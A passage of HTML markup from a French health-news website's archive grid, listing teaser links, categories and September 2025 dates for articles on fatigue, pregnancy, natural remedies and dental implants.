<div class="page-body archive-body g1-row g1-row-layout-page g1-row-padding-m">
<div class="g1-row-inner">
<div id="primary" class="g1-column">
<div class="g1-collection g1-collection-columns-3">
<h2 class="g1-delta g1-delta-2nd g1-collection-title"><span>Plus d'articles</span></h2>
<div class="g1-collection-viewport">
<ul class="g1-collection-items">
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24505 post type-post status-publish format-standard category-sante tag-push">
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sante/" class="entry-category entry-category-item-8">Santé quotidienne</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/cette-mauvaise-habitude-avec-votre-matelas-favorise-la-fatigue-et-les-allergies/" rel="bookmark">Cette mauvaise habitude avec votre matelas favorise la fatigue (et les allergies)</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-09T07:10:00+02:00">9 septembre 2025, 7 h 10 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24435 post type-post status-publish format-standard has-post-thumbnail category-sport-et-forme tag-exercice tag-forme tag-push tag-sante">
<div class="entry-featured-media " ><a title="Fatigue, jambes lourdes, coup de barre… ces gestes simples évitent que la journée ne vous pèse trop" class="g1-frame" href="https://docteurtamalou.fr/fatigue-jambes-lourdes-coup-de-barre-ces-gestes-simples-evitent-que-la-journee-ne-vous-pese-trop/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/KurbU41sJG-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/KurbU41sJG-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/KurbU41sJG-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/KurbU41sJG-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/KurbU41sJG-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/KurbU41sJG-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/KurbU41sJG-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/KurbU41sJG-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/KurbU41sJG-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sport-et-forme/" class="entry-category entry-category-item-277">Sport et Forme</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/fatigue-jambes-lourdes-coup-de-barre-ces-gestes-simples-evitent-que-la-journee-ne-vous-pese-trop/" rel="bookmark">Fatigue, jambes lourdes, coup de barre… ces gestes simples évitent que la journée ne vous pèse trop</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-09T05:00:00+02:00">9 septembre 2025, 5 h 00 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24433 post type-post status-publish format-standard has-post-thumbnail category-grossesse tag-bebe tag-enceinte tag-grossesse tag-push">
<div class="entry-featured-media " ><a title="Fin de grossesse : comment reconnaître ses limites et prendre soin de soi au travail" class="g1-frame" href="https://docteurtamalou.fr/fin-de-grossesse-comment-reconnaitre-ses-limites-et-prendre-soin-de-soi-au-travail/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/0aQ84ImoD3-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/0aQ84ImoD3-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/0aQ84ImoD3-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/0aQ84ImoD3-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/0aQ84ImoD3-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/0aQ84ImoD3-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/0aQ84ImoD3-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/0aQ84ImoD3-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/0aQ84ImoD3-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/grossesse/" class="entry-category entry-category-item-4">Grossesse</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/fin-de-grossesse-comment-reconnaitre-ses-limites-et-prendre-soin-de-soi-au-travail/" rel="bookmark">Fin de grossesse : comment reconnaître ses limites et prendre soin de soi au travail</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-08T18:05:00+02:00">8 septembre 2025, 18 h 05 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24316 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-push">
<div class="entry-featured-media " ><a title="Cette crème à tartiner oubliée booste l’énergie et la réparation de la peau après l’été : la recette DIY surprenante à tester d’urgence au petit-déjeuner" class="g1-frame" href="https://docteurtamalou.fr/cette-creme-a-tartiner-oubliee-booste-lenergie-et-la-reparation-de-la-peau-apres-lete-la-recette-diy-surprenante-a-tester-durgence-au-petit-dejeuner/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/Yf0Tc6lE5N-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/Yf0Tc6lE5N-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Yf0Tc6lE5N-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Yf0Tc6lE5N-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Yf0Tc6lE5N-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Yf0Tc6lE5N-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Yf0Tc6lE5N-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Yf0Tc6lE5N-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Yf0Tc6lE5N-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/remedes-naturels/" class="entry-category entry-category-item-7">Remèdes naturels</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/cette-creme-a-tartiner-oubliee-booste-lenergie-et-la-reparation-de-la-peau-apres-lete-la-recette-diy-surprenante-a-tester-durgence-au-petit-dejeuner/" rel="bookmark">Cette crème à tartiner oubliée booste l’énergie et la réparation de la peau après l’été : la recette DIY surprenante à tester d’urgence au petit-déjeuner</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-08T12:25:00+02:00">8 septembre 2025, 12 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24314 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-push">
<div class="entry-featured-media " ><a title="Vous êtes fatigué ? Testez cette recette de bouillon maison ultra-minéral que les nutritionnistes recommandent en fin d’été" class="g1-frame" href="https://docteurtamalou.fr/vous-etes-fatigue-testez-cette-recette-de-bouillon-maison-ultra-mineral-que-les-nutritionnistes-recommandent-en-fin-dete/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/pbiflo1nPK-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/pbiflo1nPK-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/pbiflo1nPK-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/pbiflo1nPK-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/pbiflo1nPK-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/pbiflo1nPK-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/pbiflo1nPK-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/pbiflo1nPK-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/pbiflo1nPK-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/remedes-naturels/" class="entry-category entry-category-item-7">Remèdes naturels</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/vous-etes-fatigue-testez-cette-recette-de-bouillon-maison-ultra-mineral-que-les-nutritionnistes-recommandent-en-fin-dete/" rel="bookmark">Vous êtes fatigué ? Testez cette recette de bouillon maison ultra-minéral que les nutritionnistes recommandent en fin d’été</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-08T12:10:00+02:00">8 septembre 2025, 12 h 10 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24532 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="Une percée sur les implants dentaires pourrait tout changer pour votre santé bucco-dentaire" class="g1-frame" href="https://docteurtamalou.fr/une-percee-sur-les-implants-dentaires-pourrait-tout-changer-pour-votre-sante-bucco-dentaire/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/Zudwv72ikW-1757322294-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/Zudwv72ikW-1757322294-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/Zudwv72ikW-1757322294-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/Zudwv72ikW-1757322294-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/Zudwv72ikW-1757322294-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/Zudwv72ikW-1757322294-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/Zudwv72ikW-1757322294-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/Zudwv72ikW-1757322294-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/Zudwv72ikW-1757322294-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/actualite/" class="entry-category entry-category-item-243">Actualité</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/une-percee-sur-les-implants-dentaires-pourrait-tout-changer-pour-votre-sante-bucco-dentaire/" rel="bookmark">Une percée sur les implants dentaires pourrait tout changer pour votre santé bucco-dentaire</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-08T10:25:00+02:00">8 septembre 2025, 10 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24503 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="Votre souffle pourrait trahir bien plus que vous ne le pensez : une nouvelle étude révèle ses secrets sur votre identité" class="g1-frame" href="https://docteurtamalou.fr/votre-souffle-pourrait-trahir-bien-plus-que-vous-ne-le-pensez-une-nouvelle-etude-revele-ses-secrets-sur-votre-identite/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/gdhsyX0a74-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/gdhsyX0a74-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/gdhsyX0a74-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/gdhsyX0a74-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/gdhsyX0a74-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/gdhsyX0a74-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/gdhsyX0a74-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/gdhsyX0a74-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/gdhsyX0a74-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/actualite/" class="entry-category entry-category-item-243">Actualité</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/votre-souffle-pourrait-trahir-bien-plus-que-vous-ne-le-pensez-une-nouvelle-etude-revele-ses-secrets-sur-votre-identite/" rel="bookmark">Votre souffle pourrait trahir bien plus que vous ne le pensez : une nouvelle étude révèle ses secrets sur votre identité</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-08T08:25:00+02:00">8 septembre 2025, 8 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24501 post type-post status-publish format-standard has-post-thumbnail category-sante tag-push">
<div class="entry-featured-media " ><a title="Faut-il vraiment rincer pommes et poires à l’eau vinaigrée pour limiter les pesticides cet automne ? Ce que dit la dernière enquête" class="g1-frame" href="https://docteurtamalou.fr/faut-il-vraiment-rincer-pommes-et-poires-a-leau-vinaigree-pour-limiter-les-pesticides-cet-automne-ce-que-dit-la-derniere-enquete/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/95Vib8CvjY-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/95Vib8CvjY-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/95Vib8CvjY-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/95Vib8CvjY-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/95Vib8CvjY-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/95Vib8CvjY-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/95Vib8CvjY-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/95Vib8CvjY-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/95Vib8CvjY-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sante/" class="entry-category entry-category-item-8">Santé quotidienne</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/faut-il-vraiment-rincer-pommes-et-poires-a-leau-vinaigree-pour-limiter-les-pesticides-cet-automne-ce-que-dit-la-derniere-enquete/" rel="bookmark">Faut-il vraiment rincer pommes et poires à l’eau vinaigrée pour limiter les pesticides cet automne ? Ce que dit la dernière enquête</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-08T07:10:00+02:00">8 septembre 2025, 7 h 10 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24424 post type-post status-publish format-standard has-post-thumbnail category-sport-et-forme tag-exercice tag-forme tag-push tag-sante">
<div class="entry-featured-media " ><a title="Pourquoi votre énergie fond tout au long de la journée sans raison apparente ?" class="g1-frame" href="https://docteurtamalou.fr/pourquoi-votre-energie-fond-tout-au-long-de-la-journee-sans-raison-apparente/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/ZJSMsbkVer-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/ZJSMsbkVer-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ZJSMsbkVer-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ZJSMsbkVer-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ZJSMsbkVer-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ZJSMsbkVer-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ZJSMsbkVer-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ZJSMsbkVer-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ZJSMsbkVer-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sport-et-forme/" class="entry-category entry-category-item-277">Sport et Forme</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/pourquoi-votre-energie-fond-tout-au-long-de-la-journee-sans-raison-apparente/" rel="bookmark">Pourquoi votre énergie fond tout au long de la journée sans raison apparente ?</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-08T05:00:00+02:00">8 septembre 2025, 5 h 00 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24420 post type-post status-publish format-standard has-post-thumbnail category-grossesse tag-bebe tag-enceinte tag-grossesse tag-push">
<div class="entry-featured-media " ><a title="Préparer l’arrivée du second enfant : signes à surveiller chez l’aîné et conseils santé pour une famille sereine" class="g1-frame" href="https://docteurtamalou.fr/preparer-larrivee-du-second-enfant-signes-a-surveiller-chez-laine-et-conseils-sante-pour-une-famille-sereine/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/yUcj3lDn7k-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/yUcj3lDn7k-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/yUcj3lDn7k-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/yUcj3lDn7k-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/yUcj3lDn7k-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/yUcj3lDn7k-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/yUcj3lDn7k-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/yUcj3lDn7k-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/yUcj3lDn7k-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/grossesse/" class="entry-category entry-category-item-4">Grossesse</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/preparer-larrivee-du-second-enfant-signes-a-surveiller-chez-laine-et-conseils-sante-pour-une-famille-sereine/" rel="bookmark">Préparer l’arrivée du second enfant : signes à surveiller chez l’aîné et conseils santé pour une famille sereine</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-07T18:05:00+02:00">7 septembre 2025, 18 h 05 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24297 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-push">
<div class="entry-featured-media " ><a title="Bluffant : un simple tartinade pour calmer les maux d’estomac (et renforcer l’immunité avant l’automne)" class="g1-frame" href="https://docteurtamalou.fr/bluffant-un-simple-tartinade-pour-calmer-les-maux-destomac-et-renforcer-limmunite-avant-lautomne/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/4BativwU7z-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/4BativwU7z-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/4BativwU7z-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/4BativwU7z-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/4BativwU7z-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/4BativwU7z-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/4BativwU7z-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/4BativwU7z-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/4BativwU7z-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/remedes-naturels/" class="entry-category entry-category-item-7">Remèdes naturels</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/bluffant-un-simple-tartinade-pour-calmer-les-maux-destomac-et-renforcer-limmunite-avant-lautomne/" rel="bookmark">Bluffant : un simple tartinade pour calmer les maux d’estomac (et renforcer l’immunité avant l’automne)</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-07T12:25:00+02:00">7 septembre 2025, 12 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24293 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-push">
<div class="entry-featured-media " ><a title="Fini les cures detox compliquées ! Ce légume oublié affine la taille naturellement" class="g1-frame" href="https://docteurtamalou.fr/fini-les-cures-detox-compliquees-ce-legume-oublie-affine-la-taille-naturellement/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-300x169.jpeg 300w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-1024x577.jpeg 1024w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-768x432.jpeg 768w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-1122x632.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-265x149.jpeg 265w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-531x299.jpeg 531w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-608x342.jpeg 608w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819-1152x648.jpeg 1152w, https://docteurtamalou.fr/wp-content/uploads/2025/08/fini-les-cures-detox-compliquc3a9es-ce-lc3a9gume-oublic3a9-affine-la-taille-naturellement-1756370819.jpeg 1364w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/remedes-naturels/" class="entry-category entry-category-item-7">Remèdes naturels</a></span></span> </div>
